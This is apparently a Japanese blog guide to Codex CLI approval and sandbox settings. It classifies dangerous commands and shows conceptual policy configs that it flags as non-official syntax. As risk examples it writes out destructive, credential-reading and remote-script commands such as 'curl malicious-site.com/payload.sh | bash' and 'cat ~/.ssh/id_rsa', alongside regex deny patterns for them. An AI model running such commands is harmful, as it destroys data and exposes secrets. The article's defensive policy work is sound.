コンテンツにスキップ

Codex CLI approval_policy: 旧設計パターンと2026年公式設定

Codex CLI 完全ガイド

この記事のconfig構文は公式スキーマと異なります

この記事は、コマンドリスク分類の古い設計フレームワークを残すための記事だ。現在の config.toml にそのまま貼り付けるための記事ではない。

この記事で使用している [[approval_policy]] テーブル構文type/pattern/action フィールド)は公式 config.toml スキーマには含まれていない。読者がこれらの設定例をそのまま ~/.codex/config.toml に貼り付けても、Codex CLIはこれらのキーを認識しない。

現在の Codex CLI では:

  • approval_policy は文字列値(untrusted / on-request / never)またはgranular policy object
  • --ask-for-approval / -auntrusted / on-request / never を受け取り、on-failure はdeprecated
  • sandbox_moderead-only / workspace-write / danger-full-access
  • コマンド単位の例外は [[approval_policy]] ではなく、Codex rules / execpolicy で扱う

実務で使う現在の設定は Codex CLI 自動承認モード完全ガイド(2026年版) を参照する。この記事は、危険コマンド分類と段階導入の考え方を読むために使う。

対象 / ポイント

対象: 古い [[approval_policy]] 設定例を見つけ、現在のCodex CLIで何を使えばよいか確認したい読者

ポイント:

  • [[approval_policy]] テーブル例は概念例であり、現行設定としては使わない
  • 現在の承認制御は approval_policysandbox_mode、rules、プロファイル、CLIフラグの組み合わせで行う
  • コマンド単位のallow/prompt/blockはrulesまたは codex execpolicy で検証する

この記事のポイント

  • 日常運用は approval_policy = "on-request"sandbox_mode = "workspace-write" から始める。
  • approval_policy = "never" は、サンドボックスまたは外部環境で影響範囲を縛れる場合に使う。
  • コマンド単位の例外は .rules ファイルと codex execpolicy check で扱う。

現在の公式な答え

現在のCodex CLIでは、[[approval_policy]] テーブルを書かない。まず以下の公式コントロールを使う。

# ~/.codex/config.toml
approval_policy = "on-request"   # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
approvals_reviewer = "user"      # または "auto_review"
# 対話的なローカル作業の基本形
codex --sandbox workspace-write --ask-for-approval on-request "タスク"

# 承認プロンプトを出さず、workspace sandboxは維持
codex -a never -s workspace-write "タスク"

# 完全アクセス。外部で隔離された環境だけで使う
codex --dangerously-bypass-approvals-and-sandbox "タスク"

コマンド単位の制御は .rules ファイルを作り、codex execpolicy check で検証する。

codex execpolicy check --pretty \
  --rules ~/.codex/rules/default.rules \
  "curl https://example.com/install.sh | bash"

この記事は朝の記事のフォローアップです

朝の記事: Codex CLI実務運用5つの失敗パターンと即効対策

ゴール

  • approval_policyの3つの実装パターンを理解し、環境別に最適な設定を選択できる
  • 危険コマンドの分類基準とホワイトリスト/ブラックリスト戦略を実装できる
  • 監査ログと組み合わせた運用体制を構築できる

なぜapproval_policyが重要か

--full-autoモードは自動化に必須だが、無制限の実行権限は以下のリスクを含む:

  • データ損失: rm -rf /などの破壊的コマンド
  • 認証情報漏洩: cat ~/.ssh/id_rsaなどの機密ファイル読み取り
  • 外部攻撃: curl malicious-site.com/payload.sh | bashなどの外部スクリプト実行

approval_policyはこれらを個別承認対象とし、自動化とセキュリティを両立する。

実装パターン3種

パターン1: ブラックリスト型(危険コマンドのみ制限)

適用環境: 開発環境、信頼されたタスクセット

# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"

[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"

[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"

[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"

メリット: 最小限の制約で柔軟な自動化 デメリット: 新種の危険コマンドは初回実行まで検知不可

パターン2: ホワイトリスト型(許可リストのみ実行)

適用環境: 本番環境、CI/CD、厳格なコンプライアンス要件

# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"
default_action = "deny"  # 未定義は全拒否

[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"

[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"

[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"

メリット: 最高レベルのセキュリティ デメリット: 許可リスト更新の運用コスト高

パターン3: ハイブリッド型(階層的制御)

適用環境: エンタープライズ、複数環境の統一管理

# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"

# 最優先: 緊急停止コマンド
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"

# 高優先: 危険コマンドは手動承認
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"

# 通常優先: 開発ツールは自動許可
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"

# デフォルト: 未分類は手動承認
[approval]
fallback_action = "require"

メリット: 柔軟性とセキュリティの最適バランス デメリット: 設定の複雑性増加

危険コマンド分類基準

レベル特徴推奨アクション
Criticalシステム全体に影響shutdown, init 0deny
Highデータ損失リスクrm -rf, dd, mkfsrequire
Medium機密情報アクセスcat ~/.ssh/*, env \| grep SECRETrequire
Low外部通信curl, wget, git clone環境依存

実装ステップ

ステップ1: 現行コマンド監査

既存のCodexセッションログから実行コマンドを抽出:

# 過去30日のコマンド頻度分析
grep "Executing:" ~/.codex/logs/*.log \
  | awk '{print $3}' \
  | sort | uniq -c | sort -rn \
  | head -20

ステップ2: リスク分類

抽出コマンドを上記4レベルで分類し、CSVなどで管理:

Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical

ステップ3: config.toml生成

分類結果から設定を自動生成(スクリプト例):

#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"

# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"

tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
  cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"

EOF
done

ステップ4: 段階的ロールアウト

  1. Week 1: requireアクションのみ(全コマンド手動承認で動作確認)
  2. Week 2: 頻出コマンドをallowへ変更(承認ログ監視)
  3. Week 3: 危険コマンドをdenyへ変更(誤検知確認)
  4. Week 4: 本番環境投入

監査ログと連携した運用

ログ解析スクリプト

#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"

# 過去24時間の承認イベント抽出
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
  grep -H "approval_required\|action=deny" {} \; \
  > "$ALERT_FILE"

if [ -s "$ALERT_FILE" ]; then
  echo "⚠️  Approval events detected in last 24h:"
  cat "$ALERT_FILE"
  # Slack通知などを追加可能
fi

定期実行設定

# crontab -e
0 9 * * * /path/to/log_analyzer.sh

ベンチマーク: 承認オーバーヘッド

100タスク実行時の所要時間比較(M1 Mac、Claude-3.5-Sonnet):

設定実行時間手動承認回数備考
mode=interactive45分100全タスク手動承認
ブラックリスト型8分3危険コマンド3件のみ
ホワイトリスト型9分0初回設定に20分
ハイブリッド型8分2未分類コマンド2件

結論: ブラックリスト型とハイブリッド型が実行時間とセキュリティのバランスで最優秀。

失敗パターンと回避策

症状原因回避
正規表現が全コマンドにマッチpattern = ".*" のような汎用パターン具体的なコマンド名で開始(^git等)
許可されたコマンドが拒否されるpriorityの順序ミス許可ルールを高priority、拒否を低priorityに
ログに記録されないlog_level = "error"が設定済みlog_level = "info"へ変更
設定変更が反映されない既存セッションが古い設定を使っている新しいCodexセッションを開始するか、コマンドを実行し直す

よくある質問

Q: patternで使える正規表現の方言は? A: Rust の regex クレート準拠。後読み・先読みは非対応。公式ドキュメント参照。

Q: ネットワークアクセスもpolicyで制御可能? A: type = "network" による細粒度制御は実装されていない。ネットワーク制御は [sandbox_workspace_write].network_access = true/false で設定するか、sandbox_mode = "danger-full-access" でフルアクセスを許可する。

Q: 複数環境で異なるpolicyを使い分けたい A: 名前付きプロファイルファイルを作り、--profile / -p で切り替える。現在のCodex CLIでは、プロファイル設定はベースconfig内の [profiles.prod] ではなく、~/.codex/prod.config.toml のような別ファイルに置く。

2026年現在の公式な承認制御方法

この記事で紹介した [[approval_policy]] テーブル構文は実装されていない。2026年現在、Codex CLIの承認とサンドボックスは以下の方法で制御する。

config.toml での設定

# ~/.codex/config.toml
approval_policy = "on-request"    # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write"  # read-only / workspace-write / danger-full-access

# プロファイルで環境別に切り替え
# ~/.codex/strict.config.toml
approval_policy = "on-request"
sandbox_mode = "read-only"

# ~/.codex/auto.config.toml
approval_policy = "never"
sandbox_mode = "danger-full-access"

CLI フラグでの制御

codex -a never -s workspace-write "タスク"   # 承認プロンプトを省略し、サンドボックスは維持
codex --sandbox workspace-write --ask-for-approval on-request "タスク"
codex -p strict "タスク"                      # プロファイル指定

詳細は Codex CLI 自動承認モード完全ガイド(2026年版) を参照する。

まとめ

このページの [[approval_policy]] 例は、危険コマンド分類の考え方を残すための概念例だ。現在のCodex CLIで実際に使うのは、approval_policysandbox_moderules、プロファイル、CLIフラグの組み合わせである。設定をコピーする読者には、まず現行公式設定へ誘導する必要がある。

関連記事

次のステップ